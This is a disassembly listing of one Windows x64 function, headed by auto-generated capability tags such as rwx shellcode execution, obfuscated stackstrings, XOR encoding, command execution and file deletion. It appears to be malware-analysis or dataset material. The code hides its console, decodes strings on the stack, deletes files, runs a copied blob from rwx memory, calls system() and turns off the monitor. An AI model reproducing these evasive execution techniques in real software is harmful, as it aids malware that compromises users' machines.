Function at 0x14001e890
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create directory
Create thread
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call
Power down monitor
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x848]
sub rsp, 0x920
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140081060]
xor rax, rsp
mov qword [rbp + 0x7e0], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140024fb8
call fcn.140024f60
call fcn.140024fce
call fcn.140024f8c
call fcn.140024f76
call fcn.140024fa2
call fcn.140024f60
call fcn.140024f8c
call fcn.140024f76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3e8], xmm0
mov qword [rbp + 0x3f8], rax
lea rdx, [rbp + 0x848]
lea rcx, [rbp + 0x3e8]
call fcn.140002d70
nop
mov ecx, esi
lea edi, [rsi + 3]
lea r12, [0x140023220]
lea r15, [0x140000000]
mov rax, qword [0x140082e40]
test rax, rax
je 0x14001e989
mov edx, esi
nop dword [rax]
cmp rax, r12
je 0x14001e978
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x82e40]
test rax, rax
jne 0x14001e960
jmp 0x14001e989
mov r8, qword [r15 + rdx*8 + 0x823c0]
test r8, r8
jne 0x14001ea6f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e9b0
mov r8, rsi
jmp 0x14001ea4e
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e9c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400834c8]
mov qword [r15 + rax*8 + 0x82e40], r12
mov qword [r15 + rax*8 + 0x823c0], r8
inc rax
mov qword [0x1400834c8], rax
lea rcx, [0x14001bde0]
call r8
nop
mov rcx, qword [rbp + 0x3e8]
xor rcx, qword [rbp + 0x3f0]
mov qword [rbp + 0x3e8], rcx
mov rax, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov byte [rbp + 0xa8], 0x43
mov byte [rbp + 0xa9], gethostname
mov byte [rbp + 0xaa], 0x5e
mov byte [rbp + 0xab], 0x58
mov byte [rbp + 0xac], 0x62
mov byte [rbp + 0xad], 0x65
mov byte [rbp + 0xae], 0x67
mov byte [rbp + 0xaf], 0x63
mov byte [rbp + 0xb0], WSASetLastError
mov byte [rbp + 0xb1], 0x64
mov byte [rbp + 0xb2], Ordinal_79
mov byte [rbp + 0xb3], 0x45
mov byte [rbp + 0xb4], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb5], 0x61
mov byte [rbp + 0xb6], 0x61
mov byte [rbp + 0xb7], 0x7e
mov byte [rbp + 0xb8], 0x7d
mov byte [rbp + 0xb9], Ordinal_46
mov byte [rbp + 0xba], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xbb], 0x43
mov byte [rbp + 0xbc], 0x62
mov byte [rbp + 0xbd], 0x7f
mov byte [rbp + 0xbe], 0x66
mov byte [rbp + 0xbf], 0x7a
mov byte [rbp + 0xc0], 0x44
mov byte [rbp + 0xc1], 0x54
mov byte [rbp + 0xc2], 0x46
mov byte [rbp + 0xc3], 0x5f
mov byte [rbp + 0xc4], 0x40
mov byte [rbp + 0xc5], Ordinal_79
mov byte [rbp + 0xc6], 0x41
mov byte [rbp + 0xc7], 0x58
mov byte [rbp + 0xc8], 0x41
mov byte [rbp + 0xc9], Ordinal_79
mov byte [rbp + 0xca], Ordinal_35
movzx eax, byte [rbp + 0xa8]
mov r10, rsi
movabs r13, 0xc372506c3d674808
mov r11, r13
lea rax, [rbp + 0xa8]
sub r11, rax
mov r14d, reloc.WS2_32.dll_ntohs
nop word [rax + rax]
lea r8, [rbp + 0xa8]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rdx, r13
shr rdx, cl
and dl, r14b
lea eax, [r8 + r11]
xor dl, al
xor dl, r9b
mov byte [rbp + r10 + 0xa8], dl
inc r10
cmp r10, 0x23
jb 0x14001ebc0
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x1f0], rax
xor r8d, r8d
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x278]
call fcn.1400247a0
nop
lea rcx, [rbp + 0x278]
call fcn.140002b40
movzx ebx, al
lea rcx, [rbp + 0x278]
call fcn.140002220
test bl, bl
je 0x14001edad
mov byte [rbp + 0xf8], 0x43
mov byte [rbp + 0xf9], gethostname
mov byte [rbp + 0xfa], 0x5e
mov byte [rbp + 0xfb], 0x58
mov byte [rbp + 0xfc], 0x62
mov byte [rbp + 0xfd], 0x65
mov byte [rbp + 0xfe], 0x67
mov byte [rbp + 0xff], 0x63
mov byte [rbp + 0x100], WSASetLastError
mov byte [rbp + 0x101], 0x64
mov byte [rbp + 0x102], Ordinal_79
mov byte [rbp + 0x103], 0x45
mov byte [rbp + 0x104], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x105], 0x61
mov byte [rbp + 0x106], 0x61
mov byte [rbp + 0x107], 0x7e
mov byte [rbp + 0x108], 0x7d
mov byte [rbp + 0x109], Ordinal_46
mov byte [rbp + 0x10a], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x10b], 0x43
mov byte [rbp + 0x10c], 0x62
mov byte [rbp + 0x10d], 0x7f
mov byte [rbp + 0x10e], 0x66
mov byte [rbp + 0x10f], 0x7a
mov byte [rbp + 0x110], 0x44
mov byte [rbp + 0x111], 0x54
mov byte [rbp + 0x112], 0x46
mov byte [rbp + 0x113], 0x5f
mov byte [rbp + 0x114], 0x40
mov byte [rbp + 0x115], Ordinal_79
mov byte [rbp + 0x116], 0x41
mov byte [rbp + 0x117], 0x58
mov byte [rbp + 0x118], 0x41
mov byte [rbp + 0x119], Ordinal_79
mov byte [rbp + 0x11a], Ordinal_35
movzx eax, byte [rbp + 0xf8]
mov r9, rsi
mov r10, r13
lea rax, [rbp + 0xf8]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0xf8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xf8], al
inc r9
cmp r9, 0x23
jb 0x14001ed60
lea rcx, [rbp + 0xf8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [rbp + 0x88], __WSAFDIsSet
mov byte [rbp + 0x89], 0xee
mov byte [rbp + 0x8a], 0x84
mov byte [rbp + 0x8b], Ordinal_143
mov byte [rbp + 0x8c], 0xb0
mov byte [rbp + 0x8d], 0xb6
mov byte [rbp + 0x8e], 0xbf
mov byte [rbp + 0x8f], 0xbd
mov byte [rbp + 0x90], __WSAFDIsSet
mov byte [rbp + 0x91], 0x90
mov byte [rbp + 0x92], 0xb9
mov byte [rbp + 0x93], 0xbe
mov byte [rbp + 0x94], __WSAFDIsSet
mov byte [rbp + 0x95], 0x99
mov byte [rbp + 0x96], __WSAFDIsSet
mov byte [rbp + 0x97], 0x83
mov byte [rbp + 0x98], Ordinal_143
mov byte [rbp + 0x99], Ordinal_217
mov byte [rbp + 0x9a], 0xda
mov byte [rbp + 0x9b], 0xb5
mov byte [rbp + 0x9c], __WSAFDIsSet
mov byte [rbp + 0x9d], 0x9b
mov byte [rbp + 0x9e], Ordinal_143
mov byte [rbp + 0x9f], 0x84
mov byte [rbp + 0xa0], 0x86
mov byte [rbp + 0xa1], 0x9b
mov byte [rbp + 0xa2], 0x87
mov byte [rbp + 0xa3], 0x9b
mov byte [rbp + 0xa4], 0x9e
mov byte [rbp + 0xa5], 0x9f
mov byte [rbp + 0xa6], 0x87
mov byte [rbp + 0xa7], 0xf6
movzx eax, byte [rbp + 0x88]
mov r9, rsi
movabs r11, 0x16fbe725d55522d8
mov r10, r11
lea rax, [rbp + 0x88]
sub r10, rax
nop
lea rdx, [rbp + 0x88]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x88], al
inc r9
cmp r9, 0x20
jb 0x14001eeb0
lea rax, [rbp + 0x88]
mov qword [rbp + 0x1e8], rax
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x258]
call fcn.1400247a0
nop
lea rcx, [rbp + 0x258]
call fcn.140002b40
movzx ebx, al
lea rcx, [rbp + 0x258]
call fcn.140002220
test bl, bl
je 0x14001f443
mov byte [rbp + 0x50], 0xa3
mov byte [rbp + 0x51], 0xd5
mov byte [rbp + 0x52], 0xb3
mov byte [rbp + 0x53], 0xdd
mov byte [rbp + 0x54], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x55], 0x80
mov byte [rbp + 0x56], 0x93
mov byte [rbp + 0x57], __WSAFDIsSet
mov byte [rbp + 0x58], 0x89
mov byte [rbp + 0x59], 0xbf
mov byte [rbp + 0x5a], 0x87
mov byte [rbp + 0x5b], 0x80
mov byte [rbp + 0x5c], 0x87
mov byte [rbp + 0x5d], Ordinal_143
mov byte [rbp + 0x5e], 0x8b
mov byte [rbp + 0x5f], 0xc9
mov byte [rbp + 0x60], 0xc9
mov byte [rbp + 0x61], 0x92
mov byte [rbp + 0x62], 0x92
mov byte [rbp + 0x63], 0xf4
movzx eax, byte [rbp + 0x50]
mov r9, rsi
movabs r12, 0x8b9c41a762867de0
mov r10, r12
lea rax, [rbp + 0x50]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x50]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x50], al
inc r9
cmp r9, 0x14
jb 0x14001efb0
lea rax, [rbp + 0x50]
mov qword [rbp + 0x1e0], rax
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2b8]
call fcn.1400235d0
nop
lea rcx, [rbp + 0x2b8]
call fcn.140002b40
movzx ebx, al
lea rcx, [rbp + 0x2b8]
call fcn.140002220
test bl, bl
je 0x14001f0d4
mov byte [rbp - 0x18], 0xa3
mov byte [rbp - 0x17], 0xd5
mov byte [rbp - 0x16], 0xb3
mov byte [rbp - 0x15], 0xdd
mov byte [rbp - 0x14], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp - 0x13], 0x80
mov byte [rbp - 0x12], 0x93
mov byte [rbp - 0x11], __WSAFDIsSet
mov byte [rbp - 0x10], 0x89
mov byte [rbp - 0xf], 0xbf
mov byte [rbp - 0xe], 0x87
mov byte [rbp - 0xd], 0x80
mov byte [rbp - 0xc], 0x87
mov byte [rbp - 0xb], Ordinal_143
mov byte [rbp - 0xa], 0x8b
mov byte [rbp - 9], 0xc9
mov byte [rbp - 8], 0xc9
mov byte [rbp - 7], 0x92
mov byte [rbp - 6], 0x92
mov byte [rbp - 5], 0xf4
movzx eax, byte [rbp - 0x18]
mov r9, rsi
mov r10, r12
lea rax, [rbp - 0x18]
sub r10, rax
lea rdx, [rbp - 0x18]
add rdx, r9
movzx r8d, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x18], al
inc r9
cmp r9, 0x14
jb 0x14001f090
lea rcx, [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x30]
call fcn.14001c890
mov rbx, rax
mov r14d, 5
lea r15d, [r14 + 0x1a]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 7], 0
je 0x14001f253
cmp edi, 2
jl 0x14001f20e
movdqa xmm4, xmmword [0x140077600]
movd xmm5, r14d
movd xmm6, r15d
movdqa xmm2, xmmword [0x1400775b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
movdqa xmm3, xmmword [0x1400775c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rax + 4]
xorps xmm2, xmm0
movd dword [rax + 4], xmm2
jmp 0x14001f253
mov r9, rbx
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14001f220
mov byte [rsp + 0x31], 0
lea rdx, [rbp + 0x3d8]
lea rcx, [rsp + 0x31]
call fcn.140021620
mov r11, rax
cmp byte [rax + 0xf], 0
je 0x14001f3ff
cmp edi, 2
jl 0x14001f3c3
movdqa xmm5, xmmword [0x1400775b0]
movdqa xmm4, xmmword [0x140077600]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400775d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp + 0x1b0], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x1b0]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x14001f2c0
jmp 0x14001f3ff
mov r10, r11
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x34
xor byte [r10], al
inc esi
lea r10, [r10 + 1]
cmp esi, 0x10
jl 0x14001f3d0
mov r9d, 0x40
mov r8, rbx
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov qword [0x140082258], rcx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140017900]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x14001d300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400175b0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1f4
mov edx, 0x190
mov r9d, 0x3e8
mov r8d, reloc.WLDAP32.dll_Ordinal_200
mov rcx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
mov r9d, 2
mov r8b, 0xe6
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rbx, [0x140002c50]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], rax
lea rdx, [rbp + 0x848]
lea rcx, [rbp + 0x400]
call fcn.140002d70
nop
mov ecx, esi
mov rax, qword [0x140082e40]
test rax, rax
je 0x14001f541
mov rdx, rsi
cmp rax, r12
je 0x14001f530
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x82e40]
test rax, rax
jne 0x14001f518
jmp 0x14001f541
mov r9, qword [r15 + rdx*8 + 0x823c0]
test r9, r9
jne 0x14001f61f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001f568
mov r9, rsi
jmp 0x14001f5fe
mov rax, r12
mov rcx, r9
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdi, 1
jne 0x14001f570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400834c8]
mov qword [r15 + rax*8 + 0x82e40], r12
mov qword [r15 + rax*8 + 0x823c0], r9
inc rax
mov qword [0x1400834c8], rax
mov rcx, rbx
call r9
nop
mov rcx, qword [rbp + 0x400]
xor rcx, qword [rbp + 0x408]
mov qword [rbp + 0x400], rcx
mov rax, qword [rbp + 0x410]
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edi, 5
mov edx, edi
call qword [sym.imp.USER32.dll_ShowWindow]
movabs r12, 0x8b9c41a762867de0
mov r15, r12
lea rax, [rbp]
sub r15, rax
lea r14d, [rdi + 0x1a]
movzx ebx, byte [rsp + 0x31]
mov r13d, dword [reloc.WS2_32.dll_accept]
nop
mov eax, dword [str.WYE7h]
mov dword [rbp + 0x154], eax
cmp byte [0x140076cbf], 0
je 0x14001f773
cmp r13d, 2
jl 0x14001f72e
movdqa xmm3, xmmword [0x1400775b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140077600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140077600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, edi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400775d0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x154], xmm2
jmp 0x14001f773
lea r9, [rbp + 0x154]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14001f740
lea rcx, [rbp + 0x154]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400175b0
mov byte [rbp], 0xa3
mov byte [rbp + 1], 0xd5
mov byte [rbp + 2], 0xb3
mov byte [rbp + 3], 0xdd
mov byte [rbp + 4], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 5], 0x80
mov byte [rbp + 6], 0x93
mov byte [rbp + 7], __WSAFDIsSet
mov byte [rbp + 8], 0x89
mov byte [rbp + 9], 0xbf
mov byte [rbp + 0xa], 0x87
mov byte [rbp + 0xb], 0x80
mov byte [rbp + 0xc], 0x87
mov byte [rbp + 0xd], Ordinal_143
mov byte [rbp + 0xe], 0x8b
mov byte [rbp + 0xf], 0xc9
mov byte [rbp + 0x10], 0xc9
mov byte [rbp + 0x11], 0x92
mov byte [rbp + 0x12], 0x92
mov byte [rbp + 0x13], 0xf4
movzx eax, byte [rbp]
mov r9, rsi
mov r14d, reloc.WS2_32.dll_ntohs
lea rdx, [rbp]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, r12
shr rax, cl
and al, r14b
add dl, r15b
xor al, dl
xor al, r8b
mov byte [rbp + r9], al
inc r9
cmp r9, 0x14
jb 0x14001f7e2
lea rax, [rbp]
mov qword [rbp + 0x1d8], rax
xor r8d, r8d
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x298]
call fcn.1400247a0
nop
lea rcx, [rbp + 0x298]
call fcn.140002b40
movzx edi, al
lea rcx, [rbp + 0x298]
call fcn.140002220
test dil, dil
je 0x14002035c
call fcn.14001d3a0
mov edi, dword [0x140082258]
mov byte [rbp - 0x30], 0xa3
mov byte [rbp - 0x2f], 0xd5
mov byte [rbp - 0x2e], 0xb3
mov byte [rbp - 0x2d], 0xdd
mov byte [rbp - 0x2c], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp - 0x2b], 0x80
mov byte [rbp - 0x2a], 0x93
mov byte [rbp - 0x29], __WSAFDIsSet
mov byte [rbp - 0x28], 0x89
mov byte [rbp - 0x27], 0xbf
mov byte [rbp - 0x26], 0x87
mov byte [rbp - 0x25], 0x80
mov byte [rbp - 0x24], 0x87
mov byte [rbp - 0x23], Ordinal_143
mov byte [rbp - 0x22], 0x8b
mov byte [rbp - 0x21], 0xc9
mov byte [rbp - 0x20], 0xc9
mov byte [rbp - 0x1f], 0x92
mov byte [rbp - 0x1e], 0x92
mov byte [rbp - 0x1d], 0xf4
movzx eax, byte [rbp - 0x30]
mov r9, rsi
mov r10, r12
lea rax, [rbp - 0x30]
sub r10, rax
nop
lea rdx, [rbp - 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x30], al
inc r9
cmp r9, 0x14
jb 0x14001f8d0
movzx edx, bl
lea rcx, [rbp + 0x218]
call fcn.140023df0
nop
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001f925
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x218]
call fcn.140023e10
nop
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x2d8]
call fcn.14001cbc0
nop
mov r8d, edi
mov rdx, rax
lea rcx, [rbp + 0x448]
call fcn.140007f80
nop
lea rcx, [rbp + 0x2d8]
call fcn.140022630
nop
lea rcx, [rbp + 0x218]
call fcn.140022630
lea rax, [rbp + 0x2f8]
mov qword [rbp + 0x1c0], rax
lea rdx, [0x1400822e8]
lea rcx, [rbp + 0x2f8]
call fcn.1400226d0
mov r14, rax
lea rax, [rbp + 0x318]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x318]
call fcn.1400226d0
mov rdi, rax
lea rdx, [0x140082308]
lea rcx, [rbp + 0x338]
call fcn.1400226d0
nop
mov r9b, 1
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.Auth.dll_Login]
mov cl, 7
test rax, rax
jne 0x14001feb6
call fcn.14001d350
mov eax, dword [0x140076cb4]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x140076cb8]
mov byte [rsp + 0x68], 0xa
xor byte [rsp + 0x69], 0x35
xor byte [rsp + 0x6a], 0x36
xor byte [rsp + 0x6b], 0x37
xor al, 0x38
mov byte [rsp + 0x6c], al
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1400774fc]
